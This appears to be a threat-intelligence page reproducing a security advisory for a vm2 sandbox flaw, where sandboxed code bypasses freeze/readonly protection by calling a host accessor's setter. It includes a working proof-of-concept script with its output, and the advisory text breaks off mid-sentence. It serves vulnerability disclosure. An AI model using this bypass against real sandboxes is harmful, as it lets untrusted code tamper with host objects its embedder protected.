mediumCVSS 4Vulnerability

CVE-2026-92949

### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps w

Properties

severity
medium
summary
vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
cvss_score
4
retrieved_at
2026-10-01T19:14:01+00:00
ghsa_published
2026-10-01T15:35:25Z
source_url
https://github.com/advisories/GHSA-633r-hq9m-c4ff
ghsa_updated
2026-10-01T15:35:26Z
ghsa_id
GHSA-633r-hq9m-c4ff
last_source
GitHub Advisory Database
cve_id
CVE-2026-92949
cvss_vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
signal_observed_at
2026-10-01T19:14:01+00:00
is_ghsa_only
false

Related Entities (5)

VULNERABLE_TO (1)

←[Software]npm/vm2

AFFECTS (1)

→[Software]npm/vm2

HAS_WEAKNESS (2)

→[Weakness]Modification of Assumed-Immutable Data (MAID)
→[Weakness]Protection Mechanism Failure

REPORTED_BY (1)

→[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-92949 (CVSS 4) — Ninja Signal Threat Intelligence | Ninja Signal